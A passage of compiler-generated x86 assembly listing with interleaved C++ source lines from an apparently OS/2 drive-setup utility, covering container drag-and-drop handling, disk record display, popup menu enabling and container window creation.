; 746 Verbose(2, "DrvSetup", "DragOver, bad destination");
mov ecx,offset FLAT:@CBE23
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 747 work->pmrDragDestination = NULL;
mov dword ptr [ebx+024h],0h
; 748 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL63:
; 750 break;
jmp @BLBL193
@BLBL196:
; 757 work->pmrDragDestination = NULL;
mov ebx,[ebp+0ch]; work
; 756 Verbose(2, "DrvSetup", "DragOver, bad destination type");
mov ecx,offset FLAT:@CBE24
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 757 work->pmrDragDestination = NULL;
mov dword ptr [ebx+024h],0h
; 758 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL193:
; 761 Verbose(3, "DrvSetup", "DragOver, destination is acceptable");
mov ecx,offset FLAT:@CBE25
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 762 return MRFROM2SHORT(DOR_DROP,DO_MOVE);
add esp,034h
mov eax,0200001h
pop esi
pop edi
pop ebx
pop ebp
ret
DragOver__FUlCP5_WORKP12_CNRDRAGINFO endp
; 623 DragLeave(HWND hwndClient,PWORK const work,PCNRDRAGINFO drag)
DragLeave__FUlCP5_WORKP12_CNRDRAGINFO proc
push ebx
mov ebx,edx
; 625 Verbose(2, "DrvSetup", "DragLeave, record %#x", drag->pRecord);
push dword ptr [ecx+04h]
mov ecx,offset FLAT:@CBE15
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
add esp,010h
mov edx,ebx
; 629 return 0;
pop ebx
; 627 work->pmrDragSource = NULL; /* reflect in work area */
mov dword ptr [edx+020h],0h
; 628 work->pmrDragDestination = NULL;
mov dword ptr [edx+024h],0h
; 629 return 0;
xor eax,eax
ret
DragLeave__FUlCP5_WORKP12_CNRDRAGINFO endp
; 542 DragInit(HWND hwndClient,PWORK const work,PCNRDRAGINIT const drag)
DragInit__FUlCP5_WORKCP12_CNRDRAGINIT proc
push ebp
mov ebp,esp
push ebx
mov ebx,ecx
push edi
mov [ebp+0ch],edx; work
push esi
mov [ebp+08h],eax; hwndClient
sub esp,04ch
mov [ebp+010h],ebx; drag
; 544 Verbose(2, "DrvSetup", "DragInit: record %#x",drag->pRecord);
push dword ptr [ebx+04h]
mov ecx,offset FLAT:@CBE11
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
mov ecx,ebx
add esp,010h
; 546 if( drag->pRecord == NULL )
cmp dword ptr [ecx+04h],0h
jne @BLBL49
; 547 return 0; /* no record selected */
xor eax,eax
add esp,04ch
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL49:
; 548 if( work->pmrDragSource != NULL )
mov ecx,[ebp+0ch]; work
cmp dword ptr [ecx+020h],0h
je @BLBL50
; 549 return 0; /* already active drag */
xor eax,eax
add esp,04ch
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL50:
; 555 VRDev * const rdev = ((PMYRECORD)drag->pRecord)->dsk;
mov ecx,[ebp+010h]; drag
mov ecx,[ecx+04h]
mov ecx,[ecx+01ch]
mov [ebp-010h],ecx; rdev
; 556 if( rdev->getParent() != NULL )
cmp dword ptr [ecx+04h],0h
je @BLBL51
; 557 return 0; /* sorry, no dragging of children */
xor eax,eax
add esp,04ch
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL51:
; 558 if( rdev->isWritable() == False )
mov eax,[ebp-010h]; rdev
mov ecx,[eax]
mov edx,[ecx+0ch]
add eax,edx
call dword ptr [ecx+08h]
test al,al
jne @BLBL52
; 559 return 0; /* can't write = no drag */
xor eax,eax
add esp,04ch
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL52:
; 560 if( rdev->isHostdrive() == True && rdev->isArray() == 0 )
mov ebx,[ebp-010h]; rdev
mov ecx,[ebx]
mov eax,[ecx+06ch]
add eax,ebx
call dword ptr [ecx+068h]
cmp al,01h
mov eax,ebx
jne @BLBL53
mov ecx,[eax]
mov edx,[ecx+064h]
add eax,edx
call dword ptr [ecx+060h]
test al,al
jne @BLBL53
; 561 return 0; /* not even PHYSDEVICE! */
xor eax,eax
add esp,04ch
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL53:
; 568 work->pmrDragSource
; 568 = (PMYRECORD)drag->pRecord;
mov ebx,[ebp+010h]; drag
; 567 Verbose(2, "DrvSetup", "DragInit: record passed checks");
mov ecx,offset FLAT:@CBE12
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 568 work->pmrDragSource
; 568 = (PMYRECORD)drag->pRecord;
mov edi,[ebp+0ch]; work
; 570 PDRAGINFO dinfo = DrgAllocDraginfo(1);
push 01h
; 568 work->pmrDragSource
; 568 = (PMYRECORD)drag->pRecord;
mov ecx,[ebx+04h]
mov [edi+020h],ecx
; 570 PDRAGINFO dinfo = DrgAllocDraginfo(1);
call DrgAllocDraginfo
; 574 ditem.hstrType = DrgAddStrHandle("DRT_CUSTOMER");
push offset FLAT:@CBE13
; 572 ditem.hwndItem = hwndClient;
mov esi,[ebp+08h]; hwndClient
mov [ebp-034h],esi; ditem
; 573 ditem.ulItemID = (ULONG)drag->pRecord;
mov ecx,[ebx+04h]
mov ebx,eax
mov [ebp-030h],ecx; ditem
; 574 ditem.hstrType = DrgAddStrHandle("DRT_CUSTOMER");
call DrgAddStrHandle
; 575 ditem.hstrRMF = DrgAddStrHandle("DRM_SHAREMEM,DRM_UNKNOWN");
push offset FLAT:@CBE14
; 574 ditem.hstrType = DrgAddStrHandle("DRT_CUSTOMER");
mov [ebp-02ch],eax; ditem
; 575 ditem.hstrRMF = DrgAddStrHandle("DRM_SHAREMEM,DRM_UNKNOWN");
call DrgAddStrHandle
; 579 DrgSetDragitem(dinfo, /* Set item in DRAGINFO */
push 0h
lea ecx,[ebp-034h]; ditem
push 024h
; 575 ditem.hstrRMF = DrgAddStrHandle("DRM_SHAREMEM,DRM_UNKNOWN");
mov [ebp-028h],eax; ditem
; 579 DrgSetDragitem(dinfo, /* Set item in DRAGINFO */
push ecx
; 576 ditem.fsControl = DC_REMOVEABLEMEDIA; /* can't be recovered... */
mov word ptr [ebp-014h],020h; ditem
; 579 DrgSetDragitem(dinfo, /* Set item in DRAGINFO */
push ebx
; 577 ditem.fsSupportedOps = DO_MOVEABLE;
mov word ptr [ebp-012h],02h; ditem
; 579 DrgSetDragitem(dinfo, /* Set item in DRAGINFO */
call DrgSetDragitem
; 585 dimage.cb = sizeof(DRAGIMAGE); /* Initialize DRAGIMAGE */
mov word ptr [ebp-04ch],018h; dimage
; 586 dimage.cptl = 0; /* Not a polygon */
mov word ptr [ebp-04ah],0h; dimage
; 587 dimage.hImage = work->pmrDragSource->dsk->queryIcon();
mov eax,[edi+020h]
mov eax,[eax+01ch]
mov ecx,[eax]
mov edx,[ecx+07ch]
add eax,edx
call dword ptr [ecx+078h]
; 592 /*hDrop =*/ DrgDrag(hwndClient, /* initiate drag */
push 0h
lea ecx,[ebp-04ch]; dimage
push 038h
; 587 dimage.hImage = work->pmrDragSource->dsk->queryIcon();
mov [ebp-048h],eax; dimage
; 592 /*hDrop =*/ DrgDrag(hwndClient, /* initiate drag */
push 01h
; 588 dimage.fl = DRG_ICON; /* Dragging an icon */
mov dword ptr [ebp-03ch],01h; dimage
; 592 /*hDrop =*/ DrgDrag(hwndClient, /* initiate drag */
push ecx
; 589 dimage.cxOffset = 0; /* No hotspot */
mov word ptr [ebp-038h],0h; dimage
; 592 /*hDrop =*/ DrgDrag(hwndClient, /* initiate drag */
push ebx
; 590 dimage.cyOffset = 0;
mov word ptr [ebp-036h],0h; dimage
; 592 /*hDrop =*/ DrgDrag(hwndClient, /* initiate drag */
push esi
call DrgDrag
; 599 DrgFreeDraginfo(dinfo); /* Free DRAGINFO struct */
push ebx
call DrgFreeDraginfo
add esp,038h
; 601 return 0;
add esp,04ch
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
DragInit__FUlCP5_WORKCP12_CNRDRAGINIT endp
; 478 DisplayDisk(PWORK work,PMYRECORD parent,VRDev * dsk)
DisplayDisk__FP5_WORKP9_MYRECORDP5VRDev proc
push ebp
mov ebp,esp
push ebx
mov ebx,ecx
push edi
mov edi,eax
push esi
mov [ebp+010h],ebx; dsk
sub esp,030h
mov [ebp-030h],edx; @CBE90
; 486 address = (PMYRECORD)WinSendMsg(work->hwndCnr, CM_ALLOCRECORD,
push 01h
; 478 DisplayDisk(PWORK work,PMYRECORD parent,VRDev * dsk)
mov [ebp+08h],edi; work
; 486 address = (PMYRECORD)WinSendMsg(work->hwndCnr, CM_ALLOCRECORD,
push 04h
push 0331h
push dword ptr [edi+08h]
call WinSendMsg
mov esi,eax
; 488 Verbose(3, "DrvSetup", "CM_ALLOCRECORD: %#x",address);
push esi
; 486 address = (PMYRECORD)WinSendMsg(work->hwndCnr, CM_ALLOCRECORD,
mov [ebp-010h],esi; address
; 488 Verbose(3, "DrvSetup", "CM_ALLOCRECORD: %#x",address);
sub esp,0ch
mov eax,offset FLAT:@CBE3
mov edx,eax
mov ecx,offset FLAT:@CBE9
mov eax,03h
call Verbose
; 490 address->dsk = dsk;
mov [esi+01ch],ebx
; 491 descr = dsk->allocateDescription();
mov ecx,[ebx]
mov eax,[ecx+074h]
add eax,ebx
call dword ptr [ecx+070h]
mov edx,ebx
mov ebx,eax
; 492 address->record.hptrIcon = dsk->queryIcon();
mov ecx,[edx]
mov eax,[ecx+07ch]
add edx,eax
mov eax,edx
call dword ptr [ecx+078h]
mov ecx,ebx
; 493 address->record.pszIcon = descr;
mov [esi+014h],ecx
; 492 address->record.hptrIcon = dsk->queryIcon();
mov [esi+018h],eax
; 495 memset(&ins, 0, sizeof(ins));
lea ebx,[ebp-02ch]; ins
mov eax,ebx
mov ecx,018h
xor edx,edx
call memset
lea ecx,[ebp-02ch]; ins
; 505 i = (int)WinSendMsg(work->hwndCnr, CM_INSERTRECORD,
push ecx
; 495 memset(&ins, 0, sizeof(ins));
mov edx,[ebp-030h]; @CBE90
; 505 i = (int)WinSendMsg(work->hwndCnr, CM_INSERTRECORD,
push esi
; 496 ins.cb = sizeof(ins);
mov dword ptr [ebp-02ch],018h; ins
; 505 i = (int)WinSendMsg(work->hwndCnr, CM_INSERTRECORD,
push 0339h
; 497 ins.pRecordOrder = (PRECORDCORE)CMA_END;
mov dword ptr [ebp-028h],040h; ins
; 498 ins.pRecordParent = (PRECORDCORE)parent; /* none (only RAID drives have) */
mov [ebp-024h],edx; ins
; 495 memset(&ins, 0, sizeof(ins));
mov ebx,offset FLAT:@CBE3
; 499 ins.zOrder = CMA_TOP;
mov dword ptr [ebp-01ch],01h; ins
; 500 ins.fInvalidateRecord = TRUE; /* invalidate record now/later */
mov dword ptr [ebp-020h],01h; ins
; 501 ins.cRecordsInsert = 1;
mov dword ptr [ebp-018h],01h; ins
; 505 i = (int)WinSendMsg(work->hwndCnr, CM_INSERTRECORD,
push dword ptr [edi+08h]
call WinSendMsg
add esp,030h
; 507 if( i == 0 )
test eax,eax
mov eax,edi
jne @BLBL39
; 508 Verbose(1, "DrvSetup", "WinSendMsg(CM_INSERTRECORD) failed - last error %#x",
push dword ptr [eax+04h]
call WinGetLastError
push eax
mov edx,ebx
sub esp,0ch
mov ecx,offset FLAT:@CBE10
mov eax,01h
call Verbose
; 509 WinGetLastError(work->hab));
add esp,044h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL39:
; 510 else if( dsk != NULL && dsk->isArray() )
mov esi,[ebp+010h]; dsk
test esi,esi
je @BLBL40
mov ecx,[esi]
mov eax,[ecx+064h]
add eax,esi
call dword ptr [ecx+060h]
test al,al
mov eax,esi
je @BLBL40
; 512 VRDrive * drv = (VRDrive *)dsk; /* xxx hack? */
mov [ebp-014h],eax; drv
; 514 for( i = 0; i < drv->queryChildren(); ++i )
mov ecx,[eax]
mov edx,[ecx+094h]
add eax,edx
call dword ptr [ecx+090h]
test eax,eax
jle @BLBL40
mov ebx,[ebp-010h]; address
mov esi,[ebp+08h]; work
xor edi,edi
@BLBL43:
; 515 DisplayDisk(work, address, drv->getChild(i));
mov ebx,[ebp-014h]; drv
mov edx,edi
mov ecx,[ebx]
; 514 for( i = 0; i < drv->queryChildren(); ++i )
inc edi
; 515 DisplayDisk(work, address, drv->getChild(i));
mov eax,[ecx+09ch]
add eax,ebx
mov ebx,[ebp-010h]; address
call dword ptr [ecx+098h]
mov ecx,eax
mov edx,ebx
mov eax,esi
call DisplayDisk__FP5_WORKP9_MYRECORDP5VRDev
mov eax,[ebp-014h]; drv
; 514 for( i = 0; i < drv->queryChildren(); ++i )
mov ecx,[eax]
mov edx,[ecx+094h]
add eax,edx
call dword ptr [ecx+090h]
cmp eax,edi
jg @BLBL43
@BLBL40:
; 517 return;
add esp,030h
pop esi
pop edi
pop ebx
pop ebp
ret
DisplayDisk__FP5_WORKP9_MYRECORDP5VRDev endp
; 309 DoPopup(HWND hwndClient,PWORK const work)
DoPopup__FUlCP5_WORK proc
push ebp
mov ebp,esp
push ebx
mov ebx,edx
push edi
mov edi,eax
push esi
mov [ebp+0ch],ebx; work
sub esp,044h
; 315 WinQueryPointerPos(HWND_DESKTOP, &ptlMouse);
lea ecx,[ebp-018h]; ptlMouse
push ecx
; 309 DoPopup(HWND hwndClient,PWORK const work)
mov [ebp+08h],edi; hwndClient
; 315 WinQueryPointerPos(HWND_DESKTOP, &ptlMouse);
push 01h
; 311 HWND popup = NULLHANDLE;
mov dword ptr [ebp-010h],0h; popup
; 315 WinQueryPointerPos(HWND_DESKTOP, &ptlMouse);
call WinQueryPointerPos
; 323 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push 02h
; 319 qrfrQuery.rect.xLeft = ptlMouse.x;
mov ecx,[ebp-018h]; ptlMouse
mov [ebp-03ch],ecx; qrfrQuery
; 320 qrfrQuery.rect.xRight = ptlMouse.x+1;
inc ecx
mov [ebp-034h],ecx; qrfrQuery
; 321 qrfrQuery.rect.yBottom = ptlMouse.y;
mov ecx,[ebp-014h]; ptlMouse
mov [ebp-038h],ecx; qrfrQuery
; 322 qrfrQuery.rect.yTop = ptlMouse.y+1;
inc ecx
mov [ebp-030h],ecx; qrfrQuery
; 323 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
lea ecx,[ebp-03ch]; qrfrQuery
push ecx
; 315 WinQueryPointerPos(HWND_DESKTOP, &ptlMouse);
mov eax,edi
; 323 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push eax
; 318 qrfrQuery.cb = sizeof(QUERYRECFROMRECT);
mov dword ptr [ebp-040h],018h; qrfrQuery
; 323 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push 01h
call WinMapWindowPoints
; 325 qrfrQuery.fsSearch = CMA_PARTIAL|CMA_ITEMORDER;
mov dword ptr [ebp-02ch],02001h; qrfrQuery
; 327 work->pmrMenu
lea ecx,[ebp-040h]; qrfrQuery
push ecx
push 010h
push 0342h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,028h
mov [ebx+01ch],eax
; 331 if( work->pmrMenu != NULL )
test eax,eax
je @BLBL12
; 333 if( (work->pmrMenu->record.flRecordAttr & CRA_INUSE) != 0 )
test byte ptr [eax+04h],08h
je @BLBL13
; 338 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse2Source, &bSet, &cnt, NULL);
push 0h
lea ecx,[ebp-01ch]; cnt
push ecx
; 335 ULONG cnt = 0;
mov dword ptr [ebp-01ch],0h; cnt
; 337 bSet = TRUE;
mov dword ptr [ebp-020h],01h; bSet
; 338 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse2Source, &bSet, &cnt, NULL);
sub esp,0ch
mov eax,[ebx+08h]
lea ecx,[ebp-020h]; bSet
mov edx,offset FLAT: EmphInuse2Source__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
; 339 Verbose(2, "DrvSetup", "DoPopup: %lu records in use", cnt);
push dword ptr [ebp-01ch]; cnt
mov ecx,offset FLAT:@CBE8
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
mov edx,ebx
add esp,024h
; 345 popup = work->hwndMulPopup;
mov eax,[edx+018h]
mov [ebp-010h],eax; popup
; 346 }
jmp @BLBL15
@BLBL13:
; 349 popup = work->hwndSngPopup;
mov ebx,[ebp+0ch]; work
; 350 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push 040000001h
; 349 popup = work->hwndSngPopup;
mov ecx,[ebx+014h]
mov [ebp-010h],ecx; popup
; 350 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push dword ptr [ebx+01ch]
push 034ah
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 353 }
jmp @BLBL15
@BLBL12:
; 357 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push 040000001h
; 356 popup = work->hwndNonePopup;
mov ebx,[ebp+0ch]; work
; 357 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push 0h
; 356 popup = work->hwndNonePopup;
mov ecx,[ebx+010h]
; 357 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push 034ah
; 356 popup = work->hwndNonePopup;
mov [ebp-010h],ecx; popup
; 357 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 359 }
@BLBL15:
; 361 WinPopupMenu(HWND_DESKTOP, hwndClient, popup,
push 02c6h
mov ebx,[ebp-010h]; popup
push 0h
push dword ptr [ebp-014h]; ptlMouse
push dword ptr [ebp-018h]; ptlMouse
push ebx
push dword ptr [ebp+08h]; hwndClient
push 01h
call WinPopupMenu
; 367 if( popup == work->hwndSngPopup )
mov ecx,[ebp+0ch]; work
; 361 WinPopupMenu(HWND_DESKTOP, hwndClient, popup,
add esp,01ch
; 367 if( popup == work->hwndSngPopup )
cmp [ecx+014h],ebx
jne @BLBL16
; 371 if( work->pmrMenu->dsk == NULL )
mov ecx,[ecx+01ch]
cmp dword ptr [ecx+01ch],0h
jne @BLBL17
; 375 WinEnableMenuItem(popup, IDM_CREATE_PDEV, FALSE);
push 040004000h
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 376 WinEnableMenuItem(popup, IDM_DELETE_PDEV, FALSE);
push 040004000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 377 WinEnableMenuItem(popup, IDM_DESTROY_DRV, FALSE);
push 040004000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
; 378 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 379 }
jmp @BLBL16
@BLBL17:
; 380 else if( work->pmrMenu->dsk->getParent() != NULL )
mov ebx,[ebp+0ch]; work
mov eax,[ebx+01ch]
mov eax,[eax+01ch]
mov esi,[eax+04h]
test esi,esi
je @BLBL19
; 382 VRDrive * const parent = work->pmrMenu->dsk->getParent();
mov [ebp-028h],esi; parent
; 392 if( work->pmrMenu->dsk->getParent()->isArray() == RDTYPE_MIRROR )
mov ecx,[esi]
mov eax,[ecx+064h]
add eax,esi
call dword ptr [ecx+060h]
cmp al,04h
mov eax,esi
jne @BLBL20
; 394 int const cnt = parent->queryChildren();
mov ecx,[eax]
mov edx,[ecx+094h]
add eax,edx
call dword ptr [ecx+090h]
; 397 for( i = v = 0; i < cnt; ++i )
mov dword ptr [ebp-024h],0h; v
test eax,eax
jle @BLBL21
mov ecx,ebx
mov [ebp-048h],eax; cnt
mov ebx,eax
xor esi,esi
xor edi,edi
@BLBL22:
; 399 VRDev * const vrd = parent->getChild(i);
mov ebx,[ebp-028h]; parent
mov edx,edi
mov ecx,[ebx]
mov eax,[ecx+09ch]
add eax,ebx
call dword ptr [ecx+098h]
mov ecx,[ebp+0ch]; work
xchg ebx,eax
; 400 if( vrd != work->pmrMenu->dsk
mov edx,[ecx+01ch]
cmp [edx+01ch],ebx
mov ebx,[ebp-048h]; cnt
je @BLBL24
mov [ebp-044h],esi; @CBE92
; 402 ++v;
mov ecx,[eax]
mov edx,edi
mov esi,[ecx+0a4h]
add eax,esi
mov esi,[ebp+0ch]; work
call dword ptr [ecx+0a0h]
cmp al,01h
sete al
movzx eax,al
mov ecx,esi
mov edx,[ebp-044h]; @CBE92
mov esi,eax
add esi,edx
; 403 }
@BLBL24:
; 397 for( i = v = 0; i < cnt; ++i )
inc edi
cmp edi,ebx
jl @BLBL22
mov [ebp-024h],esi; v
@BLBL21:
; 404 if( v != 0 )
cmp dword ptr [ebp-024h],0h; v
je @BLBL27
; 405 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, TRUE);
push 04000h
push 0101bbh
push 0192h
push dword ptr [ebp-010h]; popup
call WinSendMsg
add esp,010h
jmp @BLBL29
@BLBL27:
; 407 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push dword ptr [ebp-010h]; popup
call WinSendMsg
add esp,010h
; 408 }
jmp @BLBL29
@BLBL20:
; 410 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push dword ptr [ebp-010h]; popup
call WinSendMsg
add esp,010h
@BLBL29:
; 411 WinEnableMenuItem(popup, IDM_CREATE_PDEV, FALSE);
push 040004000h
mov ebx,[ebp-010h]; popup
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 412 WinEnableMenuItem(popup, IDM_DELETE_PDEV, FALSE);
push 040004000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 413 WinEnableMenuItem(popup, IDM_DESTROY_DRV, FALSE);
push 040004000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
add esp,030h
; 414 }
jmp @BLBL16
@BLBL19:
; 415 else if( work->pmrMenu->dsk->isWritable() == False )
mov ebx,[eax]
mov ecx,[ebx+0ch]
add eax,ecx
call dword ptr [ebx+08h]
test al,al
jne @BLBL31
; 420 WinEnableMenuItem(popup, IDM_CREATE_PDEV, FALSE);
push 040004000h
mov ebx,[ebp-010h]; popup
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 421 WinEnableMenuItem(popup, IDM_DELETE_PDEV, FALSE);
push 040004000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 422 WinEnableMenuItem(popup, IDM_DESTROY_DRV, FALSE);
push 040004000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
; 423 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 424 }
jmp @BLBL16
@BLBL31:
; 425 else if( work->pmrMenu->dsk->isArray() != 0 )
mov eax,[ebp+0ch]; work
mov eax,[eax+01ch]
mov eax,[eax+01ch]
mov ebx,[eax]
mov ecx,[ebx+064h]
add eax,ecx
call dword ptr [ebx+060h]
test al,al
je @BLBL33
; 429 WinEnableMenuItem(popup, IDM_CREATE_PDEV, FALSE);
push 040004000h
mov ebx,[ebp-010h]; popup
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 430 WinEnableMenuItem(popup, IDM_DELETE_PDEV, FALSE);
push 040004000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 431 WinEnableMenuItem(popup, IDM_DESTROY_DRV, TRUE);
push 04000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
; 432 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 433 }
jmp @BLBL16
@BLBL33:
; 434 else if( work->pmrMenu->dsk->isHostdrive() == True )
mov eax,[ebp+0ch]; work
mov eax,[eax+01ch]
mov eax,[eax+01ch]
mov ebx,[eax]
mov ecx,[ebx+06ch]
add eax,ecx
call dword ptr [ebx+068h]
cmp al,01h
jne @BLBL35
; 439 WinEnableMenuItem(popup, IDM_CREATE_PDEV, TRUE);
push 04000h
mov ebx,[ebp-010h]; popup
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 440 WinEnableMenuItem(popup, IDM_DELETE_PDEV, FALSE);
push 040004000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 441 WinEnableMenuItem(popup, IDM_DESTROY_DRV, FALSE);
push 040004000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
; 442 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 443 }
jmp @BLBL16
@BLBL35:
; 449 WinEnableMenuItem(popup, IDM_CREATE_PDEV, FALSE);
push 040004000h
mov ebx,[ebp-010h]; popup
push 0101b8h
push 0192h
push ebx
call WinSendMsg
; 450 WinEnableMenuItem(popup, IDM_DELETE_PDEV, TRUE);
push 04000h
push 0101b9h
push 0192h
push ebx
call WinSendMsg
; 451 WinEnableMenuItem(popup, IDM_DESTROY_DRV, FALSE);
push 040004000h
push 0101bah
push 0192h
push ebx
call WinSendMsg
; 452 WinEnableMenuItem(popup, IDM_REMOVE_CHILD, FALSE);
push 040004000h
push 0101bbh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 454 } /* hwndSngPopup */
@BLBL16:
; 456 return TRUE; /* xxx TRUE? */
add esp,044h
mov eax,01h
pop esi
pop edi
pop ebx
pop ebp
ret
DoPopup__FUlCP5_WORK endp
; 224 CreateCnr(HWND hwndClient,PWORK work)
CreateCnr__FUlP5_WORK proc
push ebp
mov ebp,esp
push ebx
mov ebx,edx
push edi
mov edi,eax
sub esp,08ch
; 229 WinQueryWindowPos(hwndClient, &size);
lea ecx,[ebp-02ch]; size
push ecx
; 224 CreateCnr(HWND hwndClient,PWORK work)
mov [ebp+0ch],ebx; work
; 229 WinQueryWindowPos(hwndClient, &size);
push edi
call WinQueryWindowPos
; 230 Verbose(3, "DrvSetup", "client window %u,%u %u,%u",
push dword ptr [ebp-028h]; size
mov ecx,offset FLAT:@CBE4
push dword ptr [ebp-024h]; size
mov edx,offset FLAT:@CBE3
push dword ptr [ebp-020h]; size
mov eax,03h
push dword ptr [ebp-01ch]; size
sub esp,0ch
call Verbose
; 233 work->hwndCnr = WinCreateWindow(hwndClient, WC_CONTAINER,
push 0h
; 230 Verbose(3, "DrvSetup", "client window %u,%u %u,%u",
mov eax,edi
; 233 work->hwndCnr = WinCreateWindow(hwndClient, WC_CONTAINER,
push 0h
push 01a4h
push 03h
push eax
push dword ptr [ebp-028h]; size
push dword ptr [ebp-024h]; size
push 0h
push 0h
push 080000079h
push 0h
push 0ffff0025h
push eax
call WinCreateWindow
mov edx,ebx
add esp,058h
mov [edx+08h],eax
; 242 if( work->hwndCnr == NULLHANDLE )
test eax,eax
jne @BLBL7
; 244 MyMessageBox(0, HWND_DESKTOP,
push dword ptr [edx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE5
sub esp,0ch
mov edx,01h
xor eax,eax
call MyMessageBox__FCiCUlPce
add esp,014h
; 247 return 1;
add esp,08ch
mov eax,01h
pop edi
pop ebx
pop ebp
ret
@BLBL7:
; 250 memset(&cnrinfo, 0, sizeof(cnrinfo));
lea ebx,[ebp-088h]; cnrinfo
mov ecx,05ch
xor edx,edx
mov eax,ebx
call memset
; 253 WinSendMsg(work->hwndCnr, CM_SETCNRINFO,
push 04h
; 251 cnrinfo.cb = sizeof(cnrinfo);
mov dword ptr [ebp-088h],05ch; cnrinfo
; 253 WinSendMsg(work->hwndCnr, CM_SETCNRINFO,
push ebx
mov ebx,[ebp+0ch]; work
push 0349h
; 252 cnrinfo.flWindowAttr = CV_TREE|CV_ICON |CA_TREELINE;
mov dword ptr [ebp-074h],0400044h; cnrinfo
; 253 WinSendMsg(work->hwndCnr, CM_SETCNRINFO,
push dword ptr [ebx+08h]
call WinSendMsg
; 259 work->hwndNonePopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_NODRV);
push 01b0h
push 0h
push 02h
call WinLoadMenu
; 260 work->hwndSngPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_SNGDRV);
push 01aeh
; 259 work->hwndNonePopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_NODRV);
mov [ebx+010h],eax
; 260 work->hwndSngPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_SNGDRV);
push 0h
push 02h
call WinLoadMenu
; 261 work->hwndMulPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_MULDRV);
push 01afh
; 260 work->hwndSngPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_SNGDRV);
mov [ebx+014h],eax
; 261 work->hwndMulPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_MULDRV);
push 0h
push 02h
call WinLoadMenu
add esp,034h
; 262 if( work->hwndSngPopup == NULLHANDLE
cmp dword ptr [ebx+014h],0h
; 261 work->hwndMulPopup = WinLoadMenu(HWND_OBJECT, NULLHANDLE, IDPM_MULDRV);
mov [ebx+018h],eax
; 262 if( work->hwndSngPopup == NULLHANDLE
je @BLBL8
test eax,eax
je @BLBL8
cmp dword ptr [ebx+010h],0h
jne @BLBL9
@BLBL8:
; 265 Verbose(1, "DrvSetup", "WinLoadMenu failed (last error %#x)",
